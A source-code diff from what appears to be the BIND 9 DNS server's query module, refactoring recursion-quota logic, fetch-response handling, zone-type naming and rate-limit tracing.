@@ -6190,12 +6355,11 @@ fetch_callback(isc_task_t *task, isc_event_t *event) {
 	/*
 	 * Initialize a new qctx and use it to either resume from
 	 * recursion or clean up after cancelation.  Transfer
-	 * ownership of devent to the new qctx in the process.
+	 * ownership of resp to the new qctx in the process.
 	 */
-	qctx_init(client, &devent, 0, &qctx);
+	qctx_init(client, &resp, 0, &qctx);
 
-	client_shuttingdown = ns_client_shuttingdown(client);
-	if (fetch_canceled || fetch_answered || client_shuttingdown) {
+	if (fetch_canceled || fetch_answered) {
 		/*
 		 * We've timed out or are shutting down. We can now
 		 * free the event and other resources held by qctx, but
@@ -6287,109 +6451,54 @@ recparam_update(ns_query_recparam_t *param, dns_rdatatype_t qtype,
 		dns_name_copy(qdomain, param->qdomain);
 	}
 }
-static atomic_uint_fast32_t last_soft, last_hard;
-#ifdef ISC_MUTEX_ATOMICS
-static isc_once_t last_once = ISC_ONCE_INIT;
 static void
-last_init(void) {
-	atomic_init(&last_soft, 0);
-	atomic_init(&last_hard, 0);
+recursionquota_log(ns_client_t *client, atomic_uint_fast32_t *last_log_time,
+		   const char *format, isc_quota_t *quota) {
+	isc_stdtime_t now = isc_stdtime_now();
+	if (now == atomic_load_relaxed(last_log_time)) {
+		return;
+	}
+
+	atomic_store_relaxed(last_log_time, now);
+	ns_client_log(client, NS_LOGCATEGORY_CLIENT, NS_LOGMODULE_QUERY,
+		      ISC_LOG_WARNING, format, isc_quota_getused(quota),
+		      isc_quota_getsoft(quota), isc_quota_getmax(quota));
 }
-#endif /* ifdef ISC_MUTEX_ATOMICS */
+
+static atomic_uint_fast32_t last_soft, last_hard;
 
 /*%
  * Check recursion quota before making the current client "recursing".
  */
 static isc_result_t
 check_recursionquota(ns_client_t *client) {
-	isc_result_t result = ISC_R_SUCCESS;
-
-	/*
-	 * We are about to recurse, which means that this client will
-	 * be unavailable for serving new requests for an indeterminate
-	 * amount of time.  If this client is currently responsible
-	 * for handling incoming queries, set up a new client
-	 * object to handle them while we are waiting for a
-	 * response.  There is no need to replace TCP clients
-	 * because those have already been replaced when the
-	 * connection was accepted (if allowed by the TCP quota).
-	 */
-	if (client->recursionquota == NULL) {
-		result = isc_quota_attach(&client->sctx->recursionquota,
-					  &client->recursionquota);
-		if (result == ISC_R_SUCCESS || result == ISC_R_SOFTQUOTA) {
-			ns_stats_increment(client->sctx->nsstats,
-					   ns_statscounter_recursclients);
-			client->attributes |= NS_CLIENTATTR_RECURSING;
-		}
-
-		if (result == ISC_R_SOFTQUOTA) {
-#ifdef ISC_MUTEX_ATOMICS
-			isc_once_do(&last_once, last_init);
-#endif /* ifdef ISC_MUTEX_ATOMICS */
-			isc_stdtime_t now;
-			isc_stdtime_get(&now);
-			if (now != atomic_load_relaxed(&last_soft)) {
-				atomic_store_relaxed(&last_soft, now);
-				ns_client_log(client, NS_LOGCATEGORY_CLIENT,
-					      NS_LOGMODULE_QUERY,
-					      ISC_LOG_WARNING,
-					      "recursive-clients soft limit "
-					      "exceeded (%u/%u/%u), "
-					      "aborting oldest query",
-					      isc_quota_getused(
-						      client->recursionquota),
-					      isc_quota_getsoft(
-						      client->recursionquota),
-					      isc_quota_getmax(
-						      client->recursionquota));
-			}
-			ns_client_killoldestquery(client);
-			result = ISC_R_SUCCESS;
-		} else if (result == ISC_R_QUOTA) {
-#ifdef ISC_MUTEX_ATOMICS
-			isc_once_do(&last_once, last_init);
-#endif /* ifdef ISC_MUTEX_ATOMICS */
-			isc_stdtime_t now;
-			isc_stdtime_get(&now);
-			if (now != atomic_load_relaxed(&last_hard)) {
-				ns_server_t *sctx = client->sctx;
-				atomic_store_relaxed(&last_hard, now);
-				ns_client_log(
-					client, NS_LOGCATEGORY_CLIENT,
-					NS_LOGMODULE_QUERY, ISC_LOG_WARNING,
-					"no more recursive clients "
-					"(%u/%u/%u): %s",
-					isc_quota_getused(
-						&sctx->recursionquota),
-					isc_quota_getsoft(
-						&sctx->recursionquota),
-					isc_quota_getmax(&sctx->recursionquota),
-					isc_result_totext(result));
-			}
-			ns_client_killoldestquery(client);
-		}
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
+	isc_result_t result;
 
-		dns_message_clonebuffer(client->message);
-		ns_client_recursing(client);
-	} else if ((client->attributes & NS_CLIENTATTR_RECURSING) == 0) {
-		client->attributes |= NS_CLIENTATTR_RECURSING;
-		/*
-		 * query_prefetch() attached first to client->recursionquota,
-		 * but we must check if NS_CLIENTATTR_RECURSING attribute is
-		 * on, if not then turn it on and increment recursing clients
-		 * stats counter only once. The attribute is also checked in
-		 * fetch_callback() to know if a matching decrement to this
-		 * counter should be applied.
-		 */
-		ns_stats_increment(client->sctx->nsstats,
-				   ns_statscounter_recursclients);
+	result = recursionquotatype_attach_soft(client);
+	switch (result) {
+	case ISC_R_SOFTQUOTA:
+		recursionquota_log(client, &last_soft,
+				   "recursive-clients soft limit exceeded "
+				   "(%u/%u/%u), aborting oldest query",
+				   &client->manager->sctx->recursionquota);
+		ns_client_killoldestquery(client);
+		FALLTHROUGH;
+	case ISC_R_SUCCESS:
+		break;
+	case ISC_R_QUOTA:
+		recursionquota_log(client, &last_hard,
+				   "no more recursive clients (%u/%u/%u)",
+				   &client->manager->sctx->recursionquota);
+		ns_client_killoldestquery(client);
+		return (result);
+	default:
+		UNREACHABLE();
 	}
 
-	return (result);
+	dns_message_clonebuffer(client->message);
+	ns_client_recursing(client);
+
+	return (ISC_R_SUCCESS);
 }
 
 isc_result_t
@@ -6427,19 +6536,12 @@ ns_query_recurse(ns_client_t *client, dns_rdatatype_t qtype, dns_name_t *qname,
 	 * Invoke the resolver.
 	 */
 	REQUIRE(nameservers == NULL || nameservers->type == dns_rdatatype_ns);
-	REQUIRE(client->query.fetch == NULL);
+	REQUIRE(FETCH_RECTYPE_NORMAL(client) == NULL);
 
 	rdataset = ns_client_newrdataset(client);
-	if (rdataset == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
 
 	if (WANTDNSSEC(client)) {
 		sigrdataset = ns_client_newrdataset(client);
-		if (sigrdataset == NULL) {
-			ns_client_putrdataset(client, &rdataset);
-			return (ISC_R_NOMEMORY);
-		}
 	} else {
 		sigrdataset = NULL;
 	}
@@ -6459,18 +6561,19 @@ ns_query_recurse(ns_client_t *client, dns_rdatatype_t qtype, dns_name_t *qname,
 		client->query.fetchoptions |= DNS_FETCHOPT_TRYSTALE_ONTIMEOUT;
 	}
 
-	isc_nmhandle_attach(client->handle, &client->fetchhandle);
+	isc_nmhandle_attach(client->handle, &HANDLE_RECTYPE_NORMAL(client));
 	result = dns_resolver_createfetch(
 		client->view->resolver, qname, qtype, qdomain, nameservers,
 		NULL, peeraddr, client->message->id, client->query.fetchoptions,
-		0, NULL, client->task, fetch_callback, client, rdataset,
-		sigrdataset, &client->query.fetch);
+		0, NULL, client->manager->loop, fetch_callback, client,
+		rdataset, sigrdataset, &FETCH_RECTYPE_NORMAL(client));
 	if (result != ISC_R_SUCCESS) {
-		isc_nmhandle_detach(&client->fetchhandle);
+		isc_nmhandle_detach(&HANDLE_RECTYPE_NORMAL(client));
 		ns_client_putrdataset(client, &rdataset);
 		if (sigrdataset != NULL) {
 			ns_client_putrdataset(client, &sigrdataset);
 		}
+		recursionquotatype_detach(client);
 	}
 
 	/*
@@ -6505,7 +6608,8 @@ query_resume(query_ctx_t *qctx) {
 
 	qctx->rpz_st = qctx->client->query.rpz_st;
 	if (qctx->rpz_st != NULL &&
-	    (qctx->rpz_st->state & DNS_RPZ_RECURSING) != 0) {
+	    (qctx->rpz_st->state & DNS_RPZ_RECURSING) != 0)
+	{
 		CCTRACE(ISC_LOG_DEBUG(3), "resume from RPZ recursion");
 #ifdef WANT_QUERYTRACE
 		{
@@ -6542,13 +6646,13 @@ query_resume(query_ctx_t *qctx) {
 		RESTORE(qctx->sigrdataset, qctx->rpz_st->q.sigrdataset);
 		qctx->qtype = qctx->rpz_st->q.qtype;
 
-		if (qctx->event->node != NULL) {
-			dns_db_detachnode(qctx->event->db, &qctx->event->node);
+		if (qctx->fresp->node != NULL) {
+			dns_db_detachnode(qctx->fresp->db, &qctx->fresp->node);
 		}
-		SAVE(qctx->rpz_st->r.db, qctx->event->db);
-		qctx->rpz_st->r.r_type = qctx->event->qtype;
-		SAVE(qctx->rpz_st->r.r_rdataset, qctx->event->rdataset);
-		ns_client_putrdataset(qctx->client, &qctx->event->sigrdataset);
+		SAVE(qctx->rpz_st->r.db, qctx->fresp->db);
+		qctx->rpz_st->r.r_type = qctx->fresp->qtype;
+		SAVE(qctx->rpz_st->r.r_rdataset, qctx->fresp->rdataset);
+		ns_client_putrdataset(qctx->client, &qctx->fresp->sigrdataset);
 	} else if (REDIRECT(qctx->client)) {
 		/*
 		 * Restore saved state.
@@ -6578,28 +6682,29 @@ query_resume(query_ctx_t *qctx) {
 		/*
 		 * Free resources used while recursing.
 		 */
-		ns_client_putrdataset(qctx->client, &qctx->event->rdataset);
-		ns_client_putrdataset(qctx->client, &qctx->event->sigrdataset);
-		if (qctx->event->node != NULL) {
-			dns_db_detachnode(qctx->event->db, &qctx->event->node);
+		ns_client_putrdataset(qctx->client, &qctx->fresp->rdataset);
+		ns_client_putrdataset(qctx->client, &qctx->fresp->sigrdataset);
+		if (qctx->fresp->node != NULL) {
+			dns_db_detachnode(qctx->fresp->db, &qctx->fresp->node);
 		}
-		if (qctx->event->db != NULL) {
-			dns_db_detach(&qctx->event->db);
+		if (qctx->fresp->db != NULL) {
+			dns_db_detach(&qctx->fresp->db);
 		}
 	} else {
 		CCTRACE(ISC_LOG_DEBUG(3), "resume from normal recursion");
 		qctx->authoritative = false;
 
-		qctx->qtype = qctx->event->qtype;
-		SAVE(qctx->db, qctx->event->db);
-		SAVE(qctx->node, qctx->event->node);
-		SAVE(qctx->rdataset, qctx->event->rdataset);
-		SAVE(qctx->sigrdataset, qctx->event->sigrdataset);
+		qctx->qtype = qctx->fresp->qtype;
+		SAVE(qctx->db, qctx->fresp->db);
+		SAVE(qctx->node, qctx->fresp->node);
+		SAVE(qctx->rdataset, qctx->fresp->rdataset);
+		SAVE(qctx->sigrdataset, qctx->fresp->sigrdataset);
 	}
 	INSIST(qctx->rdataset != NULL);
 
 	if (qctx->qtype == dns_rdatatype_rrsig ||
-	    qctx->qtype == dns_rdatatype_sig) {
+	    qctx->qtype == dns_rdatatype_sig)
+	{
 		qctx->type = dns_rdatatype_any;
 	} else {
 		qctx->type = qctx->qtype;
@@ -6618,7 +6723,8 @@ query_resume(query_ctx_t *qctx) {
 	}
 
 	if (qctx->rpz_st != NULL &&
-	    (qctx->rpz_st->state & DNS_RPZ_RECURSING) != 0) {
+	    (qctx->rpz_st->state & DNS_RPZ_RECURSING) != 0)
+	{
 		/*
 		 * Has response policy changed out from under us?
 		 */
@@ -6639,42 +6745,30 @@ query_resume(query_ctx_t *qctx) {
 	 * We'll need some resources...
 	 */
 	qctx->dbuf = ns_client_getnamebuf(qctx->client);
-	if (qctx->dbuf == NULL) {
-		CCTRACE(ISC_LOG_ERROR, "query_resume: ns_client_getnamebuf "
-				       "failed (1)");
-		QUERY_ERROR(qctx, ISC_R_NOMEMORY);
-		return (ns_query_done(qctx));
-	}
-
 	qctx->fname = ns_client_newname(qctx->client, qctx->dbuf, &b);
-	if (qctx->fname == NULL) {
-		CCTRACE(ISC_LOG_ERROR, "query_resume: ns_client_newname failed "
-				       "(1)");
-		QUERY_ERROR(qctx, ISC_R_NOMEMORY);
-		return (ns_query_done(qctx));
-	}
 
 	if (qctx->rpz_st != NULL &&
-	    (qctx->rpz_st->state & DNS_RPZ_RECURSING) != 0) {
+	    (qctx->rpz_st->state & DNS_RPZ_RECURSING) != 0)
+	{
 		tname = qctx->rpz_st->fname;
 	} else if (REDIRECT(qctx->client)) {
 		tname = qctx->client->query.redirect.fname;
 	} else {
-		tname = dns_fixedname_name(&qctx->event->foundname);
+		tname = qctx->fresp->foundname;
 	}
 
 	dns_name_copy(tname, qctx->fname);
 
 	if (qctx->rpz_st != NULL &&
-	    (qctx->rpz_st->state & DNS_RPZ_RECURSING) != 0) {
-		qctx->rpz_st->r.r_result = qctx->event->result;
+	    (qctx->rpz_st->state & DNS_RPZ_RECURSING) != 0)
+	{
+		qctx->rpz_st->r.r_result = qctx->fresp->result;
 		result = qctx->rpz_st->q.result;
-		free_devent(qctx->client, ISC_EVENT_PTR(&qctx->event),
-			    &qctx->event);
+		free_fresp(qctx->client, &qctx->fresp);
 	} else if (REDIRECT(qctx->client)) {
 		result = qctx->client->query.redirect.result;
 	} else {
-		result = qctx->event->result;
+		result = qctx->fresp->result;
 	}
 
 	qctx->resuming = true;
@@ -6686,36 +6780,30 @@ query_resume(query_ctx_t *qctx) {
 }
 
 static void
-query_hookresume(isc_task_t *task, isc_event_t *event) {
-	ns_hook_resevent_t *rev = (ns_hook_resevent_t *)event;
+query_hookresume(void *arg) {
+	ns_hook_resume_t *rev = (ns_hook_resume_t *)arg;
 	ns_hookasync_t *hctx = NULL;
-	ns_client_t *client = rev->ev_arg;
+	ns_client_t *client = rev->arg;
 	query_ctx_t *qctx = rev->saved_qctx;
 	bool canceled;
 
 	CTRACE(ISC_LOG_DEBUG(3), "query_hookresume");
 
 	REQUIRE(NS_CLIENT_VALID(client));
-	REQUIRE(task == client->task);
-	REQUIRE(event->ev_type == NS_EVENT_HOOKASYNCDONE);
 
 	LOCK(&client->query.fetchlock);
 	if (client->query.hookactx != NULL) {
 		INSIST(rev->ctx == client->query.hookactx);
 		client->query.hookactx = NULL;
 		canceled = false;
-		isc_stdtime_get(&client->now);
+		client->now = isc_stdtime_now();
 	} else {
 		canceled = true;
 	}
 	UNLOCK(&client->query.fetchlock);
 	SAVE(hctx, rev->ctx);
 
-	if (client->recursionquota != NULL) {
-		isc_quota_detach(&client->recursionquota);
-		ns_stats_decrement(client->sctx->nsstats,
-				   ns_statscounter_recursclients);
-	}
+	recursionquotatype_detach(client);
 
 	LOCK(&client->manager->reclock);
 	if (ISC_LINK_LINKED(client, rlink)) {
@@ -6724,12 +6812,11 @@ query_hookresume(isc_task_t *task, isc_event_t *event) {
 	UNLOCK(&client->manager->reclock);
 
 	/*
-	 * This event is running under a client task, so it's safe to detach
-	 * the fetch handle.  And it should be done before resuming query
-	 * processing below, since that may trigger another recursion or
-	 * asynchronous hook event.
+	 * The fetch handle should be detached before resuming query processing
+	 * below, since that may trigger another recursion or asynchronous hook
+	 * event.
 	 */
-	isc_nmhandle_detach(&client->fetchhandle);
+	isc_nmhandle_detach(&HANDLE_RECTYPE_HOOK(client));
 
 	client->state = NS_CLIENTSTATE_WORKING;
 
@@ -6757,7 +6844,7 @@ query_hookresume(isc_task_t *task, isc_event_t *event) {
 	} else {
 		switch (rev->hookpoint) {
 		case NS_QUERY_SETUP:
-			(void)query_setup(client, qctx->qtype);
+			query_setup(client, qctx->qtype);
 			break;
 		case NS_QUERY_START_BEGIN:
 			(void)ns__query_start(qctx);
@@ -6828,10 +6915,10 @@ query_hookresume(isc_task_t *task, isc_event_t *event) {
 		}
 	}
 
+	isc_mem_put(hctx->mctx, rev, sizeof(*rev));
 	hctx->destroy(&hctx);
 	qctx_destroy(qctx);
-	isc_mem_put(client->mctx, qctx, sizeof(*qctx));
-	isc_event_free(&event);
+	isc_mem_put(client->manager->mctx, qctx, sizeof(*qctx));
 }
 
 isc_result_t
@@ -6845,19 +6932,20 @@ ns_query_hookasync(query_ctx_t *qctx, ns_query_starthookasync_t runasync,
 
 	REQUIRE(NS_CLIENT_VALID(client));
 	REQUIRE(client->query.hookactx == NULL);
-	REQUIRE(client->query.fetch == NULL);
+	REQUIRE(FETCH_RECTYPE_NORMAL(client) == NULL);
 
 	result = check_recursionquota(client);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
 
-	saved_qctx = isc_mem_get(client->mctx, sizeof(*saved_qctx));
+	saved_qctx = isc_mem_get(client->manager->mctx, sizeof(*saved_qctx));
 	qctx_save(qctx, saved_qctx);
-	result = runasync(saved_qctx, client->mctx, arg, client->task,
-			  query_hookresume, client, &client->query.hookactx);
+	result = runasync(saved_qctx, client->manager->mctx, arg,
+			  client->manager->loop, query_hookresume, client,
+			  &client->query.hookactx);
 	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
+		goto cleanup_and_detach_from_quota;
 	}
 
 	/*
@@ -6867,14 +6955,15 @@ ns_query_hookasync(query_ctx_t *qctx, ns_query_starthookasync_t runasync,
 	 * attribute won't be checked anywhere.
 	 *
 	 * Hook-based asynchronous processing cannot coincide with normal
-	 * recursion, so we can safely use fetchhandle here.  Unlike in
-	 * ns_query_recurse(), we attach to the handle only if 'runasync'
-	 * succeeds. It should be safe since we're either in the client
-	 * task or pausing it.
+	 * recursion.  Unlike in ns_query_recurse(), we attach to the handle
+	 * only if 'runasync' succeeds. It should be safe since we're either in
+	 * the client task or pausing it.
 	 */
-	isc_nmhandle_attach(client->handle, &client->fetchhandle);
+	isc_nmhandle_attach(client->handle, &HANDLE_RECTYPE_HOOK(client));
 	return (ISC_R_SUCCESS);
 
+cleanup_and_detach_from_quota:
+	recursionquotatype_detach(client);
 cleanup:
 	/*
 	 * If we fail, send SERVFAIL now.  It may be better to let the caller
@@ -6893,7 +6982,8 @@ ns_query_hookasync(query_ctx_t *qctx, ns_query_starthookasync_t runasync,
 		qctx_clean(saved_qctx);
 		qctx_freedata(saved_qctx);
 		qctx_destroy(saved_qctx);
-		isc_mem_put(client->mctx, saved_qctx, sizeof(*saved_qctx));
+		isc_mem_put(client->manager->mctx, saved_qctx,
+			    sizeof(*saved_qctx));
 	}
 	qctx->detach_client = true;
 	return (result);
@@ -6908,7 +6998,7 @@ ns_query_hookasync(query_ctx_t *qctx, ns_query_starthookasync_t runasync,
  */
 isc_result_t
 ns__query_sfcache(query_ctx_t *qctx) {
-	bool failcache;
+	isc_result_t failcache;
 	uint32_t flags;
 
 	/*
@@ -6920,21 +7010,23 @@ ns__query_sfcache(query_ctx_t *qctx) {
 
 	flags = 0;
 #ifdef ENABLE_AFL
-	if (qctx->client->sctx->fuzztype == isc_fuzz_resolver) {
-		failcache = false;
-	} else {
+	if (qctx->client->manager->sctx->fuzztype == isc_fuzz_resolver) {
+		failcache = ISC_R_NOTFOUND;
+	} else
+#endif /* ifdef ENABLE_AFL */
+	{
 		failcache = dns_badcache_find(
 			qctx->view->failcache, qctx->client->query.qname,
-			qctx->qtype, &flags, &qctx->client->tnow);
+			qctx->qtype, &flags,
+			isc_time_seconds(&qctx->client->tnow));
 	}
-#else  /* ifdef ENABLE_AFL */
-	failcache = dns_badcache_find(qctx->view->failcache,
-				      qctx->client->query.qname, qctx->qtype,
-				      &flags, &qctx->client->tnow);
-#endif /* ifdef ENABLE_AFL */
-	if (failcache &&
-	    (((flags & NS_FAILCACHE_CD) != 0) ||
-	     ((qctx->client->message->flags & DNS_MESSAGEFLAG_CD) == 0)))
+
+	if (failcache != ISC_R_SUCCESS) {
+		return (ISC_R_COMPLETE);
+	}
+
+	if (((flags & NS_FAILCACHE_CD) != 0) ||
+	    ((qctx->client->message->flags & DNS_MESSAGEFLAG_CD) == 0))
 	{
 		if (isc_log_wouldlog(ns_lctx, ISC_LOG_DEBUG(1))) {
 			char namebuf[DNS_NAME_FORMATSIZE];
@@ -6961,6 +7053,25 @@ ns__query_sfcache(query_ctx_t *qctx) {
 	return (ISC_R_COMPLETE);
 }
 
+static void
+query_trace_rrldrop(query_ctx_t *qctx,
+		    dns_rrl_result_t rrl_result ISC_ATTR_UNUSED) {
+	if (!LIBNS_RRL_DROP_ENABLED()) {
+		return;
+	}
+
+	char peerbuf[ISC_SOCKADDR_FORMATSIZE];
+	isc_netaddr_t peer;
+	isc_netaddr_fromsockaddr(&peer, &qctx->client->peeraddr);
+	isc_netaddr_format(&peer, peerbuf, sizeof(peerbuf));
+
+	char qnamebuf[DNS_NAME_FORMATSIZE];
+	char fnamebuf[DNS_NAME_FORMATSIZE];
+	dns_name_format(qctx->client->query.qname, qnamebuf, sizeof(qnamebuf));
+	dns_name_format(qctx->fname, fnamebuf, sizeof(fnamebuf));
+	LIBNS_RRL_DROP(peerbuf, qnamebuf, fnamebuf, rrl_result);
+}
+
 /*%
  * Handle response rate limiting (RRL).
  */
@@ -6987,7 +7098,7 @@ query_checkrrl(query_ctx_t *qctx, isc_result_t result) {
 		ISC_LOG_DEBUG(99),
 		"rrl=%p, HAVECOOKIE=%u, result=%s, "
 		"fname=%p(%u), is_zone=%u, RECURSIONOK=%u, "
-		"query.rpz_st=%p(%u), RRL_CHECKED=%u\n",
+		"query.rpz_st=%p(%u), RRL_CHECKED=%u",
 		qctx->client->view->rrl, HAVECOOKIE(qctx->client),
 		isc_result_toid(result), qctx->fname,
 		qctx->fname != NULL ? dns_name_isabsolute(qctx->fname) : 0,
@@ -7073,10 +7184,10 @@ query_checkrrl(query_ctx_t *qctx, isc_result_t result) {
 		}
 
 		rrl_result = dns_rrl(
-			qctx->view, &qctx->client->peeraddr, TCP(qctx->client),
-			qctx->client->message->rdclass, qctx->qtype, constname,
-			resp_result, qctx->client->now, wouldlog, log_buf,
-			sizeof(log_buf));
+			qctx->view, qctx->zone, &qctx->client->peeraddr,
+			TCP(qctx->client), qctx->client->message->rdclass,
+			qctx->qtype, constname, resp_result, qctx->client->now,
+			wouldlog, log_buf, sizeof(log_buf));
 		if (rrl_result != DNS_RRL_RESULT_OK) {
 			/*
 			 * Log dropped or slipped responses in the query
@@ -7094,6 +7205,12 @@ query_checkrrl(query_ctx_t *qctx, isc_result_t result) {
 					      DNS_RRL_LOG_DROP, "%s", log_buf);
 			}
 
+			/*
+			 * If tracing is enabled, format some extra information
+			 * to pass along.
+			 */
+			query_trace_rrldrop(qctx, rrl_result);
+
 			if (!qctx->view->rrl->log_only) {
 				if (rrl_result == DNS_RRL_RESULT_DROP) {
 					/*
@@ -7121,7 +7238,8 @@ query_checkrrl(query_ctx_t *qctx, isc_result_t result) {
 						qctx->client->message->flags |=
 							DNS_MESSAGEFLAG_TC;
 						if (resp_result ==
-						    DNS_R_NXDOMAIN) {
+						    DNS_R_NXDOMAIN)
+						{
 							qctx->client->message
 								->rcode =
 								dns_rcode_nxdomain;
@@ -7228,7 +7346,8 @@ query_checkrpz(query_ctx_t *qctx, isc_result_t result) {
 			fflush(stdout);
 			qctx->client->message->flags |= DNS_MESSAGEFLAG_TC;
 			if (result == DNS_R_NXDOMAIN ||
-			    result == DNS_R_NCACHENXDOMAIN) {
+			    result == DNS_R_NCACHENXDOMAIN)
+			{
 				qctx->client->message->rcode =
 					dns_rcode_nxdomain;
 			}
@@ -7253,7 +7372,7 @@ query_checkrpz(query_ctx_t *qctx, isc_result_t result) {
 			break;
 		case DNS_RPZ_POLICY_NODATA:
 			qctx->nxrewrite = true;
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case DNS_RPZ_POLICY_DNS64:
 			result = DNS_R_NXRRSET;
 			qctx->rpz = true;
@@ -7261,7 +7380,8 @@ query_checkrpz(query_ctx_t *qctx, isc_result_t result) {
 		case DNS_RPZ_POLICY_RECORD:
 			result = qctx->rpz_st->m.result;
 			if (qctx->qtype == dns_rdatatype_any &&
-			    result != DNS_R_CNAME) {
+			    result != DNS_R_CNAME)
+			{
 				/*
 				 * We will add all of the rdatasets of
 				 * the node by iterating later,
@@ -7312,8 +7432,14 @@ query_checkrpz(query_ctx_t *qctx, isc_result_t result) {
 			qctx->want_restart = true;
 			return (ISC_R_COMPLETE);
 		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
+		}
+
+		if (qctx->rpz_st->m.rpz->ede != 0 &&
+		    qctx->rpz_st->m.rpz->ede != UINT16_MAX)
+		{
+			ns_client_extendederror(qctx->client,
+						qctx->rpz_st->m.rpz->ede, NULL);
 		}
 
 		/*
@@ -7375,11 +7501,7 @@ query_rpzcname(query_ctx_t *qctx, dns_name_t *cname) {
 	}
 
 	ns_client_keepname(client, qctx->fname, qctx->dbuf);
-	result = query_addcname(qctx, dns_trust_authanswer,
-				qctx->rpz_st->m.ttl);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	query_addcname(qctx, dns_trust_authanswer, qctx->rpz_st->m.ttl);
 
 	rpz_log_rewrite(client, false, qctx->rpz_st->m.policy,
 			qctx->rpz_st->m.type, qctx->rpz_st->m.zone,
@@ -7420,7 +7542,7 @@ has_ta(query_ctx_t *qctx) {
 	result = dns_keytable_find(keytable, dns_rootname, &keynode);
 	if (result != ISC_R_SUCCESS) {
 		if (keynode != NULL) {
-			dns_keytable_detachkeynode(keytable, &keynode);
+			dns_keynode_detach(&keynode);
 		}
 		dns_keytable_detach(&keytable);
 		return (false);
@@ -7440,7 +7562,7 @@ has_ta(query_ctx_t *qctx) {
 			result = dns_rdata_tostruct(&rdata, &ds, NULL);
 			RUNTIME_CHECK(result == ISC_R_SUCCESS);
 			if (ds.key_tag == sentinel) {
-				dns_keytable_detachkeynode(keytable, &keynode);
+				dns_keynode_detach(&keynode);
 				dns_keytable_detach(&keytable);
 				dns_rdataset_disassociate(&dsset);
 				return (true);
@@ -7450,7 +7572,7 @@ has_ta(query_ctx_t *qctx) {
 	}
 
 	if (keynode != NULL) {
-		dns_keytable_detachkeynode(keytable, &keynode);
+		dns_keynode_detach(&keynode);
 	}
 
 	dns_keytable_detach(&keytable);
@@ -7521,6 +7643,14 @@ query_usestale(query_ctx_t *qctx, isc_result_t result) {
 		return (false);
 	}
 
+	if (result == DNS_R_DUPLICATE || result == DNS_R_DROP) {
+		/*
+		 * Don't enable serve-stale if the result signals a duplicate
+		 * query or query that is being dropped.
+		 */
+		return (false);
+	}
+
 	qctx_clean(qctx);
 	qctx_freedata(qctx);
 
@@ -7528,8 +7658,9 @@ query_usestale(query_ctx_t *qctx, isc_result_t result) {
 		dns_db_attach(qctx->client->view->cachedb, &qctx->db);
 		qctx->version = NULL;
 		qctx->client->query.dboptions |= DNS_DBFIND_STALEOK;
-		if (qctx->client->query.fetch != NULL) {
-			dns_resolver_destroyfetch(&qctx->client->query.fetch);
+		if (FETCH_RECTYPE_NORMAL(qctx->client) != NULL) {
+			dns_resolver_destroyfetch(
+				&FETCH_RECTYPE_NORMAL(qctx->client));
 		}
 
 		/*
@@ -7688,16 +7819,9 @@ query_addnoqnameproof(query_ctx_t *qctx) {
 	}
 
 	dbuf = ns_client_getnamebuf(client);
-	if (dbuf == NULL) {
-		goto cleanup;
-	}
-
 	fname = ns_client_newname(client, dbuf, &b);
 	neg = ns_client_newrdataset(client);
 	negsig = ns_client_newrdataset(client);
-	if (fname == NULL || neg == NULL || negsig == NULL) {
-		goto cleanup;
-	}
 
 	result = dns_rdataset_getnoqname(qctx->noqname, fname, neg, negsig);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
@@ -7711,9 +7835,6 @@ query_addnoqnameproof(query_ctx_t *qctx) {
 
 	if (fname == NULL) {
 		dbuf = ns_client_getnamebuf(client);
-		if (dbuf == NULL) {
-			goto cleanup;
-		}
 		fname = ns_client_newname(client, dbuf, &b);
 	}
 
@@ -7729,9 +7850,6 @@ query_addnoqnameproof(query_ctx_t *qctx) {
 		dns_rdataset_disassociate(negsig);
 	}
 
-	if (fname == NULL || neg == NULL || negsig == NULL) {
-		goto cleanup;
-	}
 	result = dns_rdataset_getclosest(qctx->noqname, fname, neg, negsig);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
@@ -7765,7 +7883,7 @@ query_respond_any(query_ctx_t *qctx) {
 
 	CALL_HOOK(NS_QUERY_RESPOND_ANY_BEGIN, qctx);
 
-	result = dns_db_allrdatasets(qctx->db, qctx->node, qctx->version, 0,
+	result = dns_db_allrdatasets(qctx->db, qctx->node, qctx->version, 0, 0,
 				     &rdsiter);
 	if (result != ISC_R_SUCCESS) {
 		CCTRACE(ISC_LOG_ERROR, "query_respond_any: allrdatasets "
@@ -7892,9 +8010,6 @@ query_respond_any(query_ctx_t *qctx) {
 			}
 
 			qctx->rdataset = ns_client_newrdataset(qctx->client);
-			if (qctx->rdataset == NULL) {
-				break;
-			}
 		} else {
 			/*
 			 * We're not interested in this rdataset.
@@ -7947,7 +8062,8 @@ query_respond_any(query_ctx_t *qctx) {
 		}
 
 		if (qctx->qtype == dns_rdatatype_rrsig &&
-		    dns_db_issecure(qctx->db)) {
+		    dns_db_issecure(qctx->db))
+		{
 			char namebuf[DNS_NAME_FORMATSIZE];
 			dns_name_format(qctx->client->query.qname, namebuf,
 					sizeof(namebuf));
@@ -7973,8 +8089,8 @@ query_respond_any(query_ctx_t *qctx) {
 }
 
 /*
- * Set the expire time, if requested, when answering from a slave, mirror, or
- * master zone.
+ * Set the expire time, if requested, when answering from a secondary,
+ * mirror, or primary zone.
  */
 static void
 query_getexpire(query_ctx_t *qctx) {
@@ -7993,7 +8109,7 @@ query_getexpire(query_ctx_t *qctx) {
 	dns_zone_getraw(qctx->zone, &raw);
 	mayberaw = (raw != NULL) ? raw : qctx->zone;
 
-	if (dns_zone_gettype(mayberaw) == dns_zone_slave ||
+	if (dns_zone_gettype(mayberaw) == dns_zone_secondary ||
 	    dns_zone_gettype(mayberaw) == dns_zone_mirror)
 	{
 		isc_time_t expiretime;
@@ -8005,7 +8121,7 @@ query_getexpire(query_ctx_t *qctx) {
 			qctx->client->attributes |= NS_CLIENTATTR_HAVEEXPIRE;
 			qctx->client->expire = secs - qctx->client->now;
 		}
-	} else if (dns_zone_gettype(mayberaw) == dns_zone_master) {
+	} else if (dns_zone_gettype(mayberaw) == dns_zone_primary) {
 		isc_result_t result;
 		dns_rdata_t rdata = DNS_RDATA_INIT;
 		dns_rdata_soa_t soa;
